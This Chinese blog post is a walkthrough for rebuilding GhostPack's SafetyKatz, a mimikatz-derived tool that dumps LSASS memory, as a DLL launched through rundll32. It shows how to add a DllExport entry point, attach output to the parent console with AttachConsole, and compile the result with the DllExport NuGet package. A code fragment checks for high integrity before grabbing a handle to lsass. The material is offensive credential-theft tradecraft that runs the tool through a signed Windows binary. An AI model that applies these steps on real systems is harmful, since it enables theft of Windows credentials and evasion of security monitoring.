通过rundll32运行C#DLL转储内存

在网上看到一个用rundll32调用c#的dll的案例,感觉还不错,就拿来复现一下

原文:https://blog.xpnsec.com/rundll32-your-dotnet/

借助mimikatz的项目https://github.com/GhostPack/SafetyKatz

 

一、VS加载项目

由于SafetyKatz是.NET PE程序实现,所以在VS中的属性 -> 应用程序 -> 输出类型中更改为 “类库”

 

二、修改代码

首先需要将Main函数改成如下

[DllExport]
static void RunSafetyCatz()

 

这时候已经定义好入口点之后,设置输出在父程序终端

[DllImport("Kernel32.dll")]
private static extern bool AttachConsole(int processId);


AttachConsole(-1);

 

如果不设置,在之后调用rundll32的时候是没有回显的

最后的代码大致如下

...
 [DllExport]
        static void RunSafetyCatz()
        {
            AttachConsole(-1);
            string[] args;

            if (!IsHighIntegrity())
            {
                Console.WriteLine("\n[X] Not in high integrity, unable to grab a handle to lsass!\n");
            }
...

 

三、Nuget下载DllExport依赖

在工具->Nuget包管理中下载DllExport

 

 

 下载完后卸载掉,这时候在项目路径中会出现一个DllExport.bat,点击运行

 

 

 按照上述参数进行配置,然后点击Apply再重新加载项目到VS中

照常编译后

 

 

 在项目的生成目录下会出现两个版本的dll

 

 

 

 选择自己系统相匹配的版本然后运行

 

 

posted @ 2020-01-31 11:19  admin-神风  阅读(775)  评论(0编辑  收藏  举报